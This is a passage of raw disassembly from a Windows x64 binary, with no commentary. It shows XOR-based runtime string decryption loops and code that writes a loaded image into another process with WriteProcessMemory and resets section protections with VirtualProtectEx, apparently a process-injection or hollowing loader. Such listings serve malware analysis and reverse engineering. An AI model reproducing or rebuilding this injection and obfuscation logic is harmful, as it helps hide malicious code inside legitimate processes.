imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x24
jl 0x140269e70
lea rcx, [rbp - 0x70]
call fcn.1402010d0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rsi, rsi
je 0x140269c20
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp - 0x38], rax
mov rsi, rax
test rax, rax
jne 0x14026a401
movzx eax, word [0x140283978]
movsd xmm0, qword [0x140283970]
mov word [rsp + 0x58], ax
movzx eax, byte [0x14028397a]
mov byte [rsp + 0x5a], al
movsd qword [rsp + 0x50], xmm0
movups xmm4, xmmword [0x140283960]
movups xmmword [rsp + 0x40], xmm4
cmp r15d, 2
jl 0x14026a389
movdqa xmm2, xmm9
movd ecx, xmm15
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
movdqa xmm3, xmm2
punpckhdq xmm1, xmm9
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
movd eax, xmm4
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm9
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm9
psrad xmm2, 6
paddd xmm3, xmm9
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm14
pmulld xmm0, xmm11
psubd xmm1, xmm0
punpckldq xmm2, xmm14
andps xmm1, xmm6
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm9, xmm0
packuswb xmm1, xmm1
movdqa xmm3, xmm2
movd xmm0, ecx
pmuldq xmm2, xmm7
andps xmm9, xmm6
pmuldq xmm3, xmm8
packuswb xmm9, xmm9
packuswb xmm9, xmm9
paddb xmm1, xmm9
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm14
punpckhdq xmm1, xmm14
movdqa xmm0, xmm1
pmuldq xmm1, xmm7
pmuldq xmm0, xmm8
shufps xmm2, xmm1, 0xdd
movd xmm1, dword [rsp + 0x44]
psubd xmm2, xmm14
psrad xmm2, 6
shufps xmm3, xmm0, 0xdd
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm3, xmm14
paddd xmm0, xmm2
psrad xmm3, 6
pmulld xmm0, xmm11
movdqa xmm2, xmm14
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm14, xmm0
movd xmm0, ecx
andps xmm14, xmm6
packuswb xmm14, xmm14
packuswb xmm14, xmm14
paddb xmm2, xmm14
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm13
movdqa xmm4, xmmword [0x1402842e0]
movdqa xmm1, xmm13
punpckldq xmm2, xmm13
movdqa xmm3, xmm2
punpckhdq xmm1, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm3, xmm8
pmuldq xmm1, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm13
movd xmm1, dword [rsp + 0x48]
psubd xmm2, xmm13
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm13
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm3, xmm12
pmulld xmm0, xmm10
psubd xmm13, xmm0
punpckldq xmm3, xmm12
andps xmm13, xmm6
movd xmm0, ecx
packuswb xmm13, xmm13
packuswb xmm13, xmm13
paddb xmm2, xmm13
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
punpckhdq xmm1, xmm12
movdqa xmm0, xmm1
pmuldq xmm3, xmm7
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm12
shufps xmm3, xmm1, 0xdd
movd xmm1, dword [rsp + 0x4c]
psubd xmm3, xmm12
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm10
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm11
psubd xmm12, xmm0
movd xmm0, ecx
andps xmm12, xmm6
packuswb xmm12, xmm12
packuswb xmm12, xmm12
paddb xmm2, xmm12
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x4c], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
mov ebx, 0x18
pmuldq xmm3, xmm8
pmuldq xmm1, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
movd xmm1, dword [rsp + 0x50]
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842f0]
paddb xmm2, xmm0
movdqa xmm3, xmm4
xorps xmm2, xmm1
punpckldq xmm3, xmm4
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
shufps xmm3, xmm1, 0xdd
movd xmm1, dword [rsp + 0x54]
psubd xmm3, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm2
psrad xmm3, 6
pmulld xmm0, xmm10
movdqa xmm2, xmm4
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm11
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov eax, ebx
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1b
jl 0x14026a3a0
lea rcx, [rsp + 0x40]
call fcn.1402010d0
jmp 0x14026c30c
xor edx, edx
mov r8d, 0x1400000
mov rcx, rsi
call fcn.140272764
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14026a691
cmp byte [0x140283af5], bl
movups xmm0, xmmword [0x140283ad8]
mov eax, dword [0x140283af0]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140283af4]
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x54], ax
movsd xmm0, qword [0x140283ae8]
movsd qword [rbp - 0x60], xmm0
je 0x14026a688
mov r9d, ebx
cmp r15d, 2
jl 0x14026a619
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
lea eax, [r9 + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add r9d, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x14026a490
cmp r9d, 0x1e
jge 0x14026a688
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x1e
jl 0x14026a630
lea rcx, [rbp - 0x70]
call fcn.1402010d0
movzx esi, word [r13 + 0x14]
mov eax, ebx
movzx ecx, word [r13 + 6]
add rsi, 0x18
add rsi, r13
mov dword [rbp + 0x60], ebx
test cx, cx
je 0x14026ae9f
movzx r9d, word [0x1402837c0]
mov r11d, dword [str.h:9__P]
movzx r14d, byte [0x1402837ca]
movzx r10d, word [0x1402837c8]
nop
cmp dword [rsi + 8], ebx
je 0x14026ae89
mov dword [rsp + 0x60], r11d
lea r8, [rsp + 0x60]
xor byte [rsp + 0x61], 0x48
movzx eax, r9b
xor byte [rsp + 0x62], 0x4a
xor al, 0x4e
xor byte [rsp + 0x63], 0x4c
mov word [rsp + 0x64], r9w
xor byte [rsp + 0x65], 0x50
mov byte [rsp + 0x64], al
sub r8, rsi
mov rax, rsi
mov byte [rsp + 0x60], 0x2e
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14026a725
inc rax
test ecx, ecx
jne 0x14026a712
test edx, edx
je 0x14026a78d
mov eax, dword [str.h:___3R]
lea r8, [rsp + 0x68]
mov dword [rsp + 0x68], eax
movzx ecx, r14b
xor byte [rsp + 0x69], 0x48
movzx eax, r10b
xor byte [rsp + 0x6a], 0x4a
xor al, 0x4e
xor byte [rsp + 0x6b], 0x4c
xor cl, 0x52
mov word [rsp + 0x6c], r10w
xor byte [rsp + 0x6d], 0x50
mov byte [rsp + 0x6c], al
sub r8, rsi
mov rax, rsi
mov byte [rsp + 0x68], 0x2e
mov byte [rsp + 0x6e], cl
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14026a785
inc rax
test ecx, ecx
jne 0x14026a772
test edx, edx
jne 0x14026ae86
movzx eax, word [0x140283894]
mov r9d, ebx
mov edx, dword [0x140283890]
mov word [rsp + 0x54], ax
movzx eax, byte [0x140283896]
mov byte [rsp + 0x56], al
mov dword [rsp + 0x50], edx
movups xmm4, xmmword [0x140283880]
movups xmmword [rsp + 0x40], xmm4
cmp r15d, 2
jl 0x14026ab65
movdqa xmm2, xmm9
movd ecx, xmm15
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
movdqa xmm3, xmm2
punpckhdq xmm1, xmm9
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
movd eax, xmm4
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm9
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm9
psrad xmm2, 6
paddd xmm3, xmm9
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm9
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm1, xmm14
paddb xmm2, xmm0
punpckhdq xmm1, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movdqa xmm0, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm14
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm14
psrad xmm2, 6
paddd xmm3, xmm14
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm14
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x44]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm3, xmm13
punpckldq xmm3, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 6
movdqa xmm0, xmm2
shufps xmm3, xmm1, 0xdd
psrld xmm0, 0x1f
psubd xmm3, xmm13
paddd xmm0, xmm2
psrad xmm3, 6
pmulld xmm0, xmm10
movdqa xmm2, xmm13
movdqa xmm1, xmm13
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x48]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm3, xmm2
punpckhdq xmm1, xmm12
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm12
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm12
psrad xmm2, 6
paddd xmm3, xmm12
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x4c]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
movdqa xmm4, xmmword [0x1402842e0]
mov r9d, 0x14
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
paddd xmm3, xmm4
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, edx
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
mov eax, r9d
lea r10, [rsp + 0x40]
add r10, rax
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x17
jl 0x14026ab70
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.1402010d0
mov edx, dword [rsi + 0xc]
mov rcx, rdi
mov r9d, dword [rsi + 8]
add rdx, r12
mov r8, qword [rbp - 0x38]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14026ae67
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140283925], bl
mov r11d, eax
movups xmm0, xmmword [0x140283908]
mov ecx, dword [0x140283920]
mov dword [rbp - 0x58], ecx
movzx ecx, word [0x140283924]
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x54], cx
movsd xmm0, qword [0x140283918]
movsd qword [rbp - 0x60], xmm0
je 0x14026ae58
mov r9d, ebx
cmp r15d, 2
jl 0x14026ade9
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
lea eax, [r9 + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add r9d, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x14026ac60
cmp r9d, 0x1e
jge 0x14026ae58
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x1e
jl 0x14026ae00
mov r8d, r11d
lea rcx, [rbp - 0x70]
mov rdx, rsi
call fcn.1402010d0
movzx r10d, word [0x1402837c8]
movzx r14d, byte [0x1402837ca]
mov r11d, dword [str.h:9__P]
movzx r9d, word [0x1402837c0]
mov eax, dword [rbp + 0x60]
movzx ecx, word [r13 + 6]
inc eax
add rsi, 0x28
mov dword [rbp + 0x60], eax
cmp eax, ecx
jne 0x14026a6d0
movzx esi, word [r13 + 0x14]
add rsi, 0x18
mov dword [rbp + 0x60], ebx
add rsi, r13
test cx, cx
je 0x14026b5c5
mov edx, 0x20
nop dword [rax]
mov ecx, dword [rsi + 8]
test ecx, ecx
je 0x14026b5ac
mov eax, dword [rsi + 0x24]
mov dword [rbp + 0x68], ebx
test eax, 0x80000000
jbe 0x14026aee0
mov r14d, 4
jmp 0x14026aeef
test eax, 0x20000000
mov r14d, 2
cmova r14d, edx
mov edx, dword [rsi + 0xc]
lea rax, [rbp + 0x68]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r12
mov r9d, r14d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14026b362
movzx eax, word [0x140283aac]
mov r8d, ebx
mov edx, dword [0x140283aa8]
mov word [rsp + 0x54], ax
movzx eax, byte [0x140283aae]
mov byte [rsp + 0x56], al
mov dword [rsp + 0x50], edx
movups xmm4, xmmword [str.5__8__tsz__]
movups xmmword [rsp + 0x40], xmm4
cmp r15d, 2
jl 0x14026b2ed
movdqa xmm2, xmm9
movd ecx, xmm15
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
movdqa xmm3, xmm2
punpckhdq xmm1, xmm9
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
movd eax, xmm4
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm9
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm9
psrad xmm2, 6
paddd xmm3, xmm9
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm9
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm1, xmm14
paddb xmm2, xmm0
punpckhdq xmm1, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movdqa xmm0, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm14
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm14
psrad xmm2, 6
paddd xmm3, xmm14
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm14
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x44]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm0, xmm1
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm13
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm13
psrad xmm2, 6
paddd xmm3, xmm13
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm13
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x48]
